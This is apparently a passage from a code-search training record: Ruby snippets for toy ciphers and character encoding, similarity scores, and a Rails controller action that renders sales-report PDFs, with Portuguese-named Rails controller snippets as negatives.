"def transform_word(str)\n ary = str.split(\"\")\n ary_nums = convert_to_ascii(ary)\n new_nums = add_i(ary_nums)\n new_ary = convert_to_letters(new_nums)\nend",
"def downcode(encoding)\n return self.encode(encoding, :invalid => :replace, :undef => :replace, :replace => '')\n end",
"def char_shift(char,shift)\n code = char.codepoints[0]\n if ((code>=65 && code<=90) || (code>=97 && code<=122))\n shifted = mod(code + shift - codegroup(code),26) + codegroup(code);\n return shifted.chr\n else\n return char\n end\n end",
"def lower_chars(char)\n ROMAN_CHARS.split(char)[0]\n end",
"def morse_code_to_binary_code(morse_code)\n morse_code.gsub('.', '01').gsub('-', '10').gsub('?', '11').to_i(2)\n end",
"def getASCII(c)\n c.ord\nend",
"def encode\n @word.chars.map { |letter|\n index = @abc.index(letter)\n cipher_character = @abc_reverse[index]\n }.join\n end",
"def numToChar(number)\n return (number+65).chr\nend",
"def map!(&prc)\n self.chars.each_with_index do |c, i|\n self[i] = prc.call(c, i)\n end\n end",
"def get_swapped_char (letter)\n\tif is_vowel(letter)\n\t\tget_next_vowel(letter)\n\telse\n\t\tget_next_consonant(letter)\n\tend\nend",
"def get_swapped_char (letter)\n\tif is_vowel(letter)\n\t\tget_next_vowel(letter)\n\telse\n\t\tget_next_consonant(letter)\n\tend\nend",
"def to_ascii!; replace(to_ascii); end",
"def to_lower_bits(decoded_char)\n decoded_char & 31\n end",
"def lex_en_character=(_arg0); end",
"def encrypt(code)\n\talpha = \"abcdefghijklmnopqrstuvwxyz\"\n\tword_length = code.length\n\tcounter = 0\n\n\twhile counter < word_length\n\t\tif code[counter] == \"z\"\n\t\t\tcode[counter] = \"a\"\n\t\t\tcounter += 1\n\t\telsif code[counter] == \" \"\n\t\t\tcode[counter] = \" \"\n\t\t\tcounter += 1\t\n\t\telse \n\t\t\tcode[counter] = alpha[(alpha.index(\"#{code[counter]}\")) + 1]\n\t\t\tcounter += 1\n\t\tend\n\tend\n\treturn code\nend",
"def encode_char char\n node = @root\n coding = \"\"\n\n # encode to 0 if only one character\n if !@root.children?\n return \"0\"\n end\n\n # we do a binary search, building the representation\n # of the character based on which branch we follow\n while node.val != char\n if node.right.val.include? char\n node = node.right\n coding += \"1\"\n else\n node = node.left\n coding += \"0\"\n end\n end\n coding\n end",
"def to_alias_chars(name_chars)\nname_chars.map! do |character|\n\tcharacter = character.downcase\n\tif character == \"a\"\n\t\tnext_vowel(character)\n\telsif character == \"e\"\n\t\tnext_vowel(character)\n\telsif character == \"i\"\n\t\tnext_vowel(character)\n\telsif character == \"o\"\n\t\tnext_vowel(character)\n\telsif character == \"u\"\n\t\tnext_vowel(character)\n\telse \n\t\tnext_consonant(character)\n\tend\nend\nend",
"def shift_character_by(char, index)\n new_ord = (char.ord + index)\n if new_ord > LAST_CHARACTER_ORD\n new_ord -= ALPHABET_SIZE\n elsif new_ord < FIRST_CHARACTER_ORD\n new_ord += ALPHABET_SIZE\n end\n new_ord.chr\n end",
"def reencode_string(input); end",
"def convert (str)\r\n# REFERENCE : Using logic from this source https://stackoverflow.com/questions/13498688/pig-latin-method-translation\r\n alpha = ('a'..'z').to_a\r\n vowels = %w[a e i o u]\r\n consonants = alpha - vowels\r\n lstr = str.downcase\r\n if vowels.include?(lstr[0])\r\n str + 'way'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1]) && consonants.include?(lstr[2])\r\n str[3..-1] + str[0..2] + 'ay'\r\n elsif consonants.include?(lstr[0]) && consonants.include?(lstr[1])\r\n str[2..-1] + str[0..1] + 'ay'\r\n elsif consonants.include?(lstr[0])\r\n str[1..-1] + str[0] + 'ay'\r\n else\r\n str # return unchanged\r\n end\r\nend",
"def cipher(range,name,num,x)\n\n\tres = x.ord + num\t\t\t\t\t\t\t#.ord of the future character\n\tope = range.last.ord - range.first.ord + 1\t\t#the operation to do for drive the new character into the range\n\t\tif res < range.first.ord\t\t\t\t\t\n\t\t\t(ope + res).chr\n\t\telsif res > range.last.ord\n\t\t\t(- ope + res).chr\n\t\telse\n\t\t\tres.chr\t\t\t\t\t\t\t\t\t#the return of the function is the new character\t\t\n\t\tend\t\t\n\nend",
"def to_char cp, action = :code_point\n elem = hash[__to_code_point(cp)]\n __to_char(elem[action].vacant? ? elem[:code_point] : elem[action])\n end",
"def turn_pre_to_code\n output = self\n\n pre_s = output.index(/\\<pre\\>/)\n pre_e = output.index(/\\<\\/pre\\>/, pre_s) unless pre_s.nil?\n while (!pre_s.nil? && !pre_e.nil? && pre_e > pre_s)\n # turn these into [code] tags\n temp = output[0...pre_s] + '[code]'\n temp = temp + output[pre_s+5...pre_e].gsub('>', '>').gsub('<', '<').gsub('<br/>', '').gsub('<br />', '')\n temp = temp + '[/code]' + output[pre_e+6..-1]\n output = temp\n\n pre_s = output.index(/\\<pre\\>/)\n pre_e = output.index(/\\<\\/pre\\>/, pre_s) unless pre_s.nil?\n end\n return output\n end",
"def getChar(c)\n c.chr\nend",
"def getChar(c)\n c.chr\nend",
"def translate_char(char)\n\talphabet = \"abcdefghijklmnopqrstuvwxyz\" # list of possible characters\n\thalfway = alphabet.length/2 \n\tis_capitalized = (char.upcase == char) # checks if character has already been capitalized or not\n\tif alphabet.index(char.downcase) == nil # if character is a letter at all\n\t\t\"boing\"\n\telsif is_capitalized && alphabet.index(char.downcase) < halfway # checks if letter is capitalized and in first half of alphabet\n\t\t\"bloop\"\n\telsif is_capitalized || char == \"e\" # checks if letter is capitalized or \"e\"\n\t\t\"buzz\"\n\telse\n\t\t\"beep\"\n\tend\n\nend",
"def rotate_47(input=\"hello world\")\n decode= ''\n ascii=[]\n #converts to ascii\n input.each_byte do |c|\n ascii << c\n end\n\n for i in 0..ascii.length-1\n if ascii[i]>=33 and ascii[i] <=126\n ascii[i]+=47\n if ascii[i]>126\n ascii[i] += -94\n end\n end\n decode << ascii[i].chr\n end\n decode\nend",
"def map!(&blc)\n\n self.each_char.with_index do |char,i|\n self[i] = blc.call(char,i)\n end\n end",
"def convert_input (input)\n return input = 0 if input == 'a'\n return input = 1 if input == 'b'\n return input = 2 if input == 'c'\n end",
"def encode_digit(d)\n d + 22 + 75 * (d < 26 ? 1 : 0)\n # 0..25 map to ASCII a..z or A..Z \n # 26..35 map to ASCII 0..9\n end",
"def encode(message)\n char_array = [*'a'..'z'].rotate(-1)\n message.downcase.chars.map! { |x| char_array.include?(x) ? x = char_array[(char_array.index(x)+3)%26] : x }.join\nend",
"def encode(input_string)\n return input_string.tr(\"a-z\", \"n-za-m\")\nend",
"def get_codepoint(character)\n \"%04x\" % character.unpack(\"U\")[0]\n end",
"def encipher(char, shift) \n if char >= 65 && char <= 90 \n index = char - 65\n shifted_char = (index + shift) % 26\n if shifted_char < 0 \n shifted_char += 26\n enciphered_char = shifted_char + 65\n else\n enciphered_char = shifted_char + 65\n end\n elsif char >= 97 && char <= 122\n index = char - 97\n shifted_char = (index + shift) % 26\n if shifted_char < 0\n shifted_char += 26\n enchiphered_char = shifted_char + 97\n else \n enciphered_char = shifted_char + 97\n end\n else\n char = char \n end\nend",
"def ord(char)\n char.bytes.first\nend",
"def mapper(character)\n case \n when character==\"J\" then \"jack\"\n when character==\"Q\" then \"queen\"\n when character==\"K\" then \"king\"\n when character==\"A\" then \"ace\"\n else character\n end\n\nend",
"def shift_char(current_char)\r\n vowels = 'aeiou'\r\n consonants = 'bcdfghjklmnpqrstvwxyz'\r\n comp_string = vowels.index(current_char) ? vowels : consonants\r\n char_index = (comp_string.index(current_char) + 1) % comp_string.length\r\n return comp_string[char_index]\r\nend",
"def char_downcase(char)\n Rus3::Char.downcase(char)\n end",
"def swapcase(str)\n str.split(//).map do |chr|\n chr = chr.ord\n if chr.between?(65, 90)\n (chr + 32).chr\n elsif chr.between?(97, 122)\n (chr - 32).chr\n else\n chr.chr\n end\n end.join\nend"
] |
[
"0.6850775",
"0.6640804",
"0.6547248",
"0.65272546",
"0.64983827",
"0.64878976",
"0.6372711",
"0.63654643",
"0.6349889",
"0.6309973",
"0.6267418",
"0.6265755",
"0.6230195",
"0.61615217",
"0.6102517",
"0.60725844",
"0.6054343",
"0.6030891",
"0.60298675",
"0.5980496",
"0.5978021",
"0.5950704",
"0.59503764",
"0.59489405",
"0.5947748",
"0.5945272",
"0.59396887",
"0.5931781",
"0.5931095",
"0.5921266",
"0.5920671",
"0.5919363",
"0.5914233",
"0.5912056",
"0.59104407",
"0.5906185",
"0.5900139",
"0.5899002",
"0.58961535",
"0.5896005",
"0.58900785",
"0.58856755",
"0.58835936",
"0.5879458",
"0.5876567",
"0.58728343",
"0.58708185",
"0.5868701",
"0.5866741",
"0.58501416",
"0.5844586",
"0.584128",
"0.58168346",
"0.5812576",
"0.5807514",
"0.58059025",
"0.5791633",
"0.57722044",
"0.5771588",
"0.5761167",
"0.5758495",
"0.5756333",
"0.57483006",
"0.57416564",
"0.5741319",
"0.57371694",
"0.57250404",
"0.57186383",
"0.57167965",
"0.57083553",
"0.5695413",
"0.56926674",
"0.56926674",
"0.5690381",
"0.5688352",
"0.56857073",
"0.56805736",
"0.5670606",
"0.5662613",
"0.5656715",
"0.56510097",
"0.56351566",
"0.5633259",
"0.5632354",
"0.56256515",
"0.56186754",
"0.56186754",
"0.561818",
"0.56180394",
"0.56129557",
"0.56082284",
"0.5607204",
"0.560633",
"0.56038606",
"0.5598344",
"0.55921906",
"0.55920327",
"0.55902135",
"0.5577044",
"0.55714494",
"0.55709153"
] |
0.0
|
-1
|
Relatorio de listagem de todas as vendas
|
def allSalesReport
# Save and open pdf
#filename = File.join(Rails.root, "app/report", "SalesList.pdf")
#pdf.render_file filename
#send_file filename, :filename => "SalesList.pdf", :type => "application/pdf"
# Open pdf
send_data allSales_pdf.render, :filename => "SalesList.pdf", :type => "application/pdf"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @tipo_vendas = TipoVenda.all\n end",
"def index\n @relatorio_plano_de_voos = RelatorioPlanoDeVoo.all\n end",
"def relatorios\n end",
"def index\n @vendas = Venda.eager_load(:comprador, :fornecedor, :produto).where(upload: params[:upload_id])\n end",
"def index\n @item_vendas = ItemVenda.all\n @produtos = Produto.all\n end",
"def index\n @vendedors = Vendedor.all\n end",
"def index\n #@vendas = Venda.all\n #@vendas = Venda.venda_diaria\t\n @vendas = Venda.includes(:cliente).where('DATE(created_at) = ?',Date.today)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vendas }\n end\n end",
"def index\n @administracao_relatorios_diarios = Administracao::RelatoriosDiario.all\n end",
"def index\n @vendedor_clientes = VendedorCliente.all\n end",
"def index\n @recomendacion_links = RecomendacionLink.all\n end",
"def index\n @vendes = Vende.all\n end",
"def index\n @viagens = Viagem.all\n end",
"def index\n @entrevista = Entrevistum.all\n end",
"def index\n @andamento_solicitacao_recebidas = AndamentoSolicitacaoRecebida.all\n end",
"def index\n @veiculos = Veiculo.where(usuario_id: current_usuario)\n @abastecimentos = Abastecimento.where(:veiculo_id => @veiculos)\n end",
"def index\n @reparticoes = Reparticao.all\n end",
"def index\n @veterinarios = Veterinario.all\n end",
"def index\n @veterinarios = Veterinario.all\n end",
"def index\n @vrsta_inventaras = VrstaInventara.all\n end",
"def ver\n @personas = Persona.find(params[\"id\"])\n @ordenes = Despachar.rutasAsignadas(params[\"id\"])\n end",
"def index\n @tipo_venta = TipoVentum.all\n end",
"def index\n @ventaganancia = Ventaganancium.all\n end",
"def index\n @remuneracoes = Remuneracao.all\n end",
"def index\n @tipo_veiculos = TipoVeiculo.all\n end",
"def index\n @solicitacao_repasses = SolicitacaoRepasse.all\n @solicitacoes = []\n @solicitacao_repasses.each { |solicitacao|\n @encomenda = EntregaExterna.find(params[:id], solicitacao.entrega_externa_id)\n if !@current_user.isMorador || @encomenda.encomenda.usuario.id == @current_user.id\n @solicitacoes.push(solicitacao)\n end\n }\n @solicitacao_repasses = @solicitacoes\n end",
"def index\n @veiculos = Veiculo.all\n end",
"def index\n @receita_recebidas = ReceitaRecebida.all\n end",
"def index\n @local_pedidos = LocalPedido.all\n end",
"def index\n @vendamesas = Vendamesa.all\n end",
"def index\n @contenu_ventes = ContenuVente.all\n end",
"def index\n @fornecedor_enderecos = FornecedorEndereco.all\n end",
"def index\n @telefone_fornecedors = TelefoneFornecedor.paginate(:page => params[:page]).order('id DESC').por_nome(pesquisa)\n end",
"def index\n @encomendas = Encomenda.all\n end",
"def list \n @@Ordenadores\n end",
"def index\n @vestimenta = Vestimentum.all\n end",
"def index\n @orden_entregas = OrdenEntrega.all\n end",
"def index\n @reunion_participantes = ReunionParticipante.all\n end",
"def index\n @ventas = Venta.all\n end",
"def index\n @ventas = Venta.all\n end",
"def index\n @depositos = Deposito.para_listar(prevision: prevision_activa)\n end",
"def index\n @todas_consultas = @paciente.consultas\n end",
"def index\n @receita_a_recebers = ReceitaAReceber.all\n end",
"def set_listas\n #@locais = Local.all.map{|l| [l.nome,l.id]}\n @locais = Local.all\n @periodos = ['Manhã','Tarde','Noite']\n @publicos = ['Infantil','Adulto']\n end",
"def index\n @vacinas = current_usuario.vacinas\n #@vacinas = Vacina.all\n \n end",
"def list_relationships\n end",
"def index\n @detalle_orden_trabajos = DetalleOrdenTrabajo.all\n @detalle_orden_trabajos.repuesto_servicio = RepuestoServicio.first\n end",
"def index\n @referees = Referee.all\n end",
"def index\n @representantes = Representante.all\n end",
"def index\n @offerte_regels = OfferteRegel.all\n end",
"def show\n@productos = @vendedor.producto.all\n end",
"def index\n @renomears = Renomear.all\n end",
"def index\n @prioridads = Prioridad.all\n end",
"def index\n @movimentode_estoques = MovimentodeEstoque.all\n end",
"def index\n #@detalhes_equipamentos = DetalhesEquipamento.all\n #@q = DetalhesEquipamento.ransack(params[:q])\n @detalhes_equipamentos = DetalhesEquipamento.accessible_by(current_ability).order('modelo ASC')\n end",
"def index\n @relatorios_colaborador = RelatorioColaborador.all\n end",
"def index\n @rechnungs = Rechnung.all\n end",
"def show\n @spends = Spend.paginate(:page => params[:page], :per_page => 20).ultimos_fecha.activos.proyecto(@proyect)\n @viaticos = Viatico.ultimos_fecha.activos.proyecto(@proyect)\n end",
"def index\n @vistos = Visto.all\n end",
"def index\n @venta = Ventum.all\n end",
"def index\n @venta = Ventum.all\n end",
"def index\n @lecturas = Lectura.includes(:cliente, :periodo).all\n end",
"def index\n @movimimiento_venta = MovimimientoVentum.all\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def index\n @coleccion = ReferenciaBase.all\n end",
"def index\n @renseignements = Renseignement.all\n end",
"def index\n @partidas = Partida.all\n end",
"def index\n @estado_remates = EstadoRemate.all\n end",
"def index\n @regrapontos = Regraponto.all\n end",
"def lista_estoque()\n @client.get(Route.new([ROTA_DID_ESTOQUE]))\n end",
"def index\n @anexo_relatorios_colaborador = AnexoRelatorioColaborador.all\n end",
"def index\n @consultorio_ns = ConsultorioN.all\n end",
"def index\n @fornecedores = Fornecedor.order(\"nome\")\n end",
"def index\n @mantenciondesviacions = Mantenciondesviacion.all\n end",
"def index\n @empleado = Empleado.find(params[:empleado_id])\n @contrato_empleados = @empleado.contrato_empleados.all\n end",
"def index\r\n @cheque_recibidos = ChequeRecibido.all\r\n end",
"def index\n @devolucoes = Devolucao.all\n end",
"def index\n @vinculos = Vinculo.all\n end",
"def index\n @titulo = \"Listado de Pedidos\"\n @clase = \"Pedidos\"\n @pedidos = Pedido.all\n end",
"def index\n @detpedidos = Detpedido.all\n end",
"def index\n @provedores = Provedor.all\n end",
"def index\n @repondres = Repondre.all\n end",
"def index\n @pedido_responsabilidades = PedidoResponsabilidade.all\n end",
"def index\n @movimento_de_estoques = MovimentoDeEstoque.all\n end",
"def index\n @votacions = Votacion.all\n end",
"def index\n @vestibulandos = Vestibulando.all\n end",
"def index\n @fornecedores = Fornecedor.all\n \n end",
"def index\n @titulo = \"Restaurante Dragon Ball\"\n @empresa = Empresa.find(1)\n @promocions = Promocion.all\n end",
"def index\n @os_entregavels = OsEntregavel.all\n\n end",
"def index\n\t\trelators\n\tend",
"def index\n @viajes = Viaje.all\n end",
"def index\n @qualidadeparceiros = Qualidadeparceiro.all\n end",
"def index\n @aprov_estabelecimentos = AprovEstabelecimento.all\n end",
"def index\n @recrutements = Recrutement.all\n end",
"def index\n @titulo = \"Todos los proveedores\"\n unless params[:filtro].nil?\n proveedores = []\n if FiltroListaProveedores::FILTROS.include?(params[:filtro]) and not params[:valor].nil?\n case params[:filtro]\n when \"categoria\"\n @categoria = Categoria.find(params[:valor])\n proveedores = @categoria.nil? ? [] : @categoria.proveedores\n @cant_resultados = proveedores.size\n @titulo = @categoria.nombre\n when \"tipo\"\n existe_tipo = Proveedor::TIPO_EMPRESA.include?(params[:valor])\n @tipo = existe_tipo ? params[:valor].to_s.humanize : nil\n proveedores = existe_tipo ? Proveedor.where(:tipo_proveedor => params[:valor]) : []\n @cant_resultados = proveedores.size\n @titulo = existe_tipo ? @tipo : \"Por tipo\"\n when \"ubicacion\"\n @ubicacion = UbicacionGeografica.find(params[:valor])\n unless @ubicacion.nil? or @ubicacion.tipo != 'estado'\n #case @ubicacion.tipo\n #when 'pais'\n # proveedores = @ubicacion.proveedores_de_pais\n #when 'estado'\n proveedores = @ubicacion.proveedores\n #when 'municipio'\n # proveedores = @ubicacion.proveedores_de_municipio\n #when 'localidad'\n # proveedores = @ubicacion.proveedores_de_localidad\n #end\n end\n @cant_resultados = proveedores.size\n @titulo = @ubicacion.tipo.humanize+\" \"+@ubicacion.nombre\n end\n end\n else\n proveedores = Proveedor.order('created_at DESC')\n end\n @cant_resultados = proveedores.size\n @proveedores = proveedores.includes(:localidad,:municipio,:estado).order('created_at DESC').page(params[:p])\n @titulo += \" (\"+@cant_resultados.to_s+\")\"\n add_breadcrumb :index, :proveedores_path\n @categorias = Categoria.con_proveedores\n @categorias_meta = \"\"\n for c in @categorias\n @categorias_meta += c.nombre+\", \"\n end\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @proveedores }\n end\n end",
"def index\n @persona_punto_venta = PersonaPuntoVentum.all\n end",
"def index\n @reemper_valorations = ReemperValoration.all\n end",
"def index\n @vacunas = Vacuna.where(mascota_id: @mascota.id)\n end",
"def index\n @consulta_viajes = ConsultaViaje.all\n end",
"def index\n @reforganism = Reforganism.find(params[:id])\n @referents = @reforganism.referents\n end",
"def index\n @tipo_fornecedors = TipoFornecedor.all\n end",
"def index\n @tipoenvolvidos = Tipoenvolvido.all\n end"
] |
[
"0.6463977",
"0.6408912",
"0.6303204",
"0.627538",
"0.62547946",
"0.61949223",
"0.6140914",
"0.613876",
"0.61299676",
"0.61118156",
"0.6094996",
"0.6093364",
"0.608062",
"0.60568976",
"0.6056127",
"0.6009088",
"0.59838706",
"0.59838706",
"0.5978663",
"0.5964523",
"0.59431475",
"0.592868",
"0.5923569",
"0.591716",
"0.5915407",
"0.5904104",
"0.5899881",
"0.5896558",
"0.58957314",
"0.58916557",
"0.58897185",
"0.5889454",
"0.5885929",
"0.58773947",
"0.58750004",
"0.58690935",
"0.58597344",
"0.5857901",
"0.5857901",
"0.5851124",
"0.58470404",
"0.5846488",
"0.5825885",
"0.5817969",
"0.581089",
"0.5795805",
"0.5791083",
"0.5789414",
"0.5784141",
"0.5782922",
"0.577668",
"0.5767599",
"0.57657844",
"0.5763561",
"0.5757858",
"0.5757645",
"0.575379",
"0.57534075",
"0.57517713",
"0.57517713",
"0.57509685",
"0.57502407",
"0.5744354",
"0.5735526",
"0.5727479",
"0.5725344",
"0.57179207",
"0.5715773",
"0.57124966",
"0.5711729",
"0.57107955",
"0.5709238",
"0.57068866",
"0.57052124",
"0.5705012",
"0.5703187",
"0.56976944",
"0.56974375",
"0.56967336",
"0.56936854",
"0.5693552",
"0.5687883",
"0.56870276",
"0.5686016",
"0.5685882",
"0.5676968",
"0.5675815",
"0.56752163",
"0.5670601",
"0.56705",
"0.5669115",
"0.5668544",
"0.5660944",
"0.5660729",
"0.56596386",
"0.5647136",
"0.5645809",
"0.5638403",
"0.5638342",
"0.5636755",
"0.5634187"
] |
0.0
|
-1
|
Relatorio de listagem de venda para o fornecedor
|
def suplierSaleReport
# Save and open pdf
#filename = File.join(Rails.root, "app/report", "SalesList.pdf")
#pdf.render_file filename
#send_file filename, :filename => "SalesList.pdf", :type => "application/pdf"
@sale = Sale.find(params[:id])
# Open pdf
send_data suplierSale_pdf.render, :filename => "SuplierSale.pdf", :type => "application/pdf"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n #@vendas = Venda.all\n #@vendas = Venda.venda_diaria\t\n @vendas = Venda.includes(:cliente).where('DATE(created_at) = ?',Date.today)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @vendas }\n end\n end",
"def index\n @tipo_vendas = TipoVenda.all\n end",
"def index\n @relatorio_plano_de_voos = RelatorioPlanoDeVoo.all\n end",
"def index\n @solicitacao_repasses = SolicitacaoRepasse.all\n @solicitacoes = []\n @solicitacao_repasses.each { |solicitacao|\n @encomenda = EntregaExterna.find(params[:id], solicitacao.entrega_externa_id)\n if !@current_user.isMorador || @encomenda.encomenda.usuario.id == @current_user.id\n @solicitacoes.push(solicitacao)\n end\n }\n @solicitacao_repasses = @solicitacoes\n end",
"def index\n @vendedor_clientes = VendedorCliente.all\n end",
"def index\n @administracao_relatorios_diarios = Administracao::RelatoriosDiario.all\n end",
"def index\n @vendas = Venda.eager_load(:comprador, :fornecedor, :produto).where(upload: params[:upload_id])\n end",
"def index\n @andamento_solicitacao_recebidas = AndamentoSolicitacaoRecebida.all\n end",
"def index\n @veiculos = Veiculo.where(usuario_id: current_usuario)\n @abastecimentos = Abastecimento.where(:veiculo_id => @veiculos)\n end",
"def index\n @vendedors = Vendedor.all\n end",
"def index\n @movimento_de_estoques = MovimentoDeEstoque.all\n end",
"def index\n @detalle_orden_trabajos = DetalleOrdenTrabajo.all\n @detalle_orden_trabajos.repuesto_servicio = RepuestoServicio.first\n end",
"def set_cliente_venda\n @cliente = Cliente.find(params[:cliente_id])\n @venda = @cliente.vendas.find(params[:venda_id])\n end",
"def index\n @local_pedidos = LocalPedido.all\n end",
"def index\n @agendas = Agenda.recentes\n end",
"def index\n @recomendacion_links = RecomendacionLink.all\n end",
"def index\n @movimimiento_venta = MovimimientoVentum.all\n end",
"def index\n @fornecedor_enderecos = FornecedorEndereco.all\n end",
"def list \n @@Ordenadores\n end",
"def index\n @item_vendas = ItemVenda.all\n @produtos = Produto.all\n end",
"def index\n @contenu_ventes = ContenuVente.all\n end",
"def index\n @telefone_fornecedors = TelefoneFornecedor.paginate(:page => params[:page]).order('id DESC').por_nome(pesquisa)\n end",
"def listar()\n @client.get(Route.new([ROTA_DID]))\n end",
"def index\n @tipo_venta = TipoVentum.all\n end",
"def index\n @ventaganancia = Ventaganancium.all\n end",
"def relatorios\n end",
"def index\n @vacinas = current_usuario.vacinas\n #@vacinas = Vacina.all\n \n end",
"def index\n @movimentode_estoques = MovimentodeEstoque.all\n end",
"def show\n @spends = Spend.paginate(:page => params[:page], :per_page => 20).ultimos_fecha.activos.proyecto(@proyect)\n @viaticos = Viatico.ultimos_fecha.activos.proyecto(@proyect)\n end",
"def index\n @fornecedores = Fornecedor.all\n \n end",
"def index\n @todas_consultas = @paciente.consultas\n end",
"def lista_estoque()\n @client.get(Route.new([ROTA_DID_ESTOQUE]))\n end",
"def index\n @vrsta_inventaras = VrstaInventara.all\n end",
"def index\r\n @cheque_recibidos = ChequeRecibido.all\r\n end",
"def index\n @entrevista = Entrevistum.all\n end",
"def set_venda\n @venda = Venda.find(params[:id])\n end",
"def index\n @relatorios_colaborador = RelatorioColaborador.all\n end",
"def index\n @fornecedores = Fornecedor.all\n end",
"def index\n @fornecedores = Fornecedor.all\n end",
"def set_venda\r\n @venda = Venda.find(params[:id])\r\n end",
"def set_listas\n #@locais = Local.all.map{|l| [l.nome,l.id]}\n @locais = Local.all\n @periodos = ['Manhã','Tarde','Noite']\n @publicos = ['Infantil','Adulto']\n end",
"def index\n @orden_entregas = OrdenEntrega.all\n end",
"def index\n @ventas = Venta.all\n end",
"def index\n @ventas = Venta.all\n end",
"def index\n @veterinarios = Veterinario.all\n end",
"def index\n @veterinarios = Veterinario.all\n end",
"def contas_a_pagar\n @movimentos = Movimento.find(:all,:conditions => [\"data_pagamento is null and entidade_id = ? and tipo_movimento = 'D'\", current_usuario.entidade_id])\n end",
"def index\n @vendes = Vende.all\n end",
"def index\n\n @history_mantenimientos = OrdenMantenimiento.all\n @orden_mantenimientos = OrdenMantenimiento.all\n end",
"def index\n @viagens = Viagem.all\n end",
"def index \n #@reservations = current_user.crm_redemption_reservations\n mbr_id = current_user.mbr_id \n #@reservations = CrmProductReservation.find_through_id_status(mbr_id, 0)\n @product_reservations = CrmProductReservation.find_through_id_status(mbr_id, 0)\n end",
"def index\n @venta = Venta.order(fecha_hora: :desc).where('date(fecha_hora) = ?', Time.now.strftime(\"%Y-%m-%d\"))\n end",
"def index\n @reldayc = Reldayc.new\n @rutas = Ruta.por_empresa(current_usuario.empresa_id)\n end",
"def index\n @consultorio_ns = ConsultorioN.all\n end",
"def index\n @fornecedores = Fornecedor.order(\"nome\")\n end",
"def index\n # Filter\n scope = MovMovimiento.filters(params)\n\n @mov_movimientos = smart_listing_create :mov_movimiento,\n scope,\n partial: 'mov_movimientos/list',\n default_sort: {created_at: :desc},\n sort_attributes: [\n [:tipo_movimiento, :tipo_movimiento],\n [:hoja, :hoja],\n [:fecha, :fecha],\n [:ciclo, :ciclo],\n [:clasificacion, 'emp_clasificacions.nombre'],\n [:cuenta, 'emp_cuentabs.nombre'],\n [:concepto, :concepto],\n [:departamento, 'emp_locacions.nombre'],\n [:factura, :factura],\n [:comprobante, :comprobante],\n [:total, :total],\n [:created_at, :created_at],\n [:updated_at, :updated_at]\n ]\n end",
"def set_venda\n @venda = Venda.find(params[:id])\n end",
"def index\n residencial = current_user.apartamento.residencial\n #@eventos = Evento.joins(:user => [{:apartamento => :residencial}])\n #.where(:residenciais => {:id => residencial.id})\n #.order(\"created_at DESC\")\n\n @eventos = Evento\n .where(:residencial_id => residencial.id)\n .order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @eventos }\n end\n end",
"def index\n #formatear las fechas\n if defined? params[:q][:fecha_generado_lt]\n setupFechas\n end\n\n resultados_pedidos(true)\n end",
"def index\n @remuneracoes = Remuneracao.all\n end",
"def index\n @codvendas = Codvenda.all\n end",
"def index\n @estado_remates = EstadoRemate.all\n end",
"def index\n @encomendas = Encomenda.all\n end",
"def index\n @tipo_fornecedors = TipoFornecedor.all\n end",
"def ver\n @personas = Persona.find(params[\"id\"])\n @ordenes = Despachar.rutasAsignadas(params[\"id\"])\n end",
"def index\n @empleado = Empleado.find(params[:empleado_id])\n @contrato_empleados = @empleado.contrato_empleados.all\n end",
"def index\n @receita_recebidas = ReceitaRecebida.all\n end",
"def index\n @depositos = Deposito.para_listar(prevision: prevision_activa)\n end",
"def index\n @detpedidos = Detpedido.all\n end",
"def show\n @ficha = (params[:ficha].present? && params[:ficha] == '1')\n\n cuantos = @comentario.descendants.count\n categoriaContenido = @comentario.categorias_contenido_id\n\n if cuantos > 0\n resp = @comentario.descendants.map{ |c|\n c.completa_info(@comentario.usuario_id)\n c\n }\n\n @comentarios = {estatus:1, cuantos: cuantos, resp: resp}\n\n else\n @comentarios = {estatus:1, cuantos: cuantos}\n end\n\n # Para saber el id del ultimo comentario, antes de sobreescribir a @comentario\n ultimo_comentario = @comentario.subtree.order('ancestry ASC').map(&:id).reverse.first\n\n # Especie\n especie_id = @comentario.especie_id\n\n # Crea el nuevo comentario con las clases de la gema ancestry\n @comentario = Comentario.children_of(ultimo_comentario).new\n\n # El ID del administrador\n @comentario.usuario_id = current_usuario.id unless @ficha\n\n # Estatus 6 quiere decir que es parte del historial de un comentario\n @comentario.estatus = Comentario::RESPUESTA\n\n # Categoria comentario ID\n @comentario.categorias_contenido_id = categoriaContenido\n\n # Para no poner la caseta de verificacion\n @comentario.con_verificacion = false\n\n # Proviene de un administrador\n @comentario.es_admin = true\n\n # Asigna la especie\n @comentario.especie_id = especie_id\n end",
"def index\n @anexo_relatorios_colaborador = AnexoRelatorioColaborador.all\n end",
"def index\n @devolucoes = Devolucao.all\n end",
"def index\n @venta = Ventum.all\n end",
"def index\n @venta = Ventum.all\n end",
"def show\n ##puts Transacao.find(2).cliente.nome\n ##puts Imposto.find(18).tabela_de_limites.limite_inferior\n end",
"def index\n @recrutements = Recrutement.all\n end",
"def index\n \n @vacante_aplicadas = VacanteAplicada.all.nuevos.paginate(page:params[:page], per_page:20)\n\n #@id_vacantes_current_admin = current_admin.vacantes.all.ids\n #@vacante_aplicadas = VacanteAplicada.where(:vacante_id =>@id_vacantes_current_admin).nuevos.paginate(page:params[:page], per_page:20)\n end",
"def listar\n @todos_los_tipos = TipoComida.all.order(id: :asc)\n @titulo_link = \"Registrar nuevo tipo de comida\"\n end",
"def index \n #@reservations = current_user.crm_redemption_reservations\n mbr_id = current_user.mbr_id \n @reservations = CrmRedemptionReservation.find_through_id_status(mbr_id, 0)\n @product_reservations = CrmProductReservation.find_through_id_status(mbr_id, 0)\n @workshop_reservations = CrmWorkshopReservation.find_through_mbr_id(mbr_id)\n end",
"def index\n @provedores = Provedor.all\n end",
"def index\n @vacunas = Vacuna.where(mascota_id: @mascota.id)\n end",
"def index\n @rango_fechas = RangoFecha.all\n end",
"def index\n #@incidentes = Incidente.all\n #@q = Incidente.ransack(params[:q])\n @incidentes = Incidente.accessible_by(current_ability).order('data_inicio DESC')\n end",
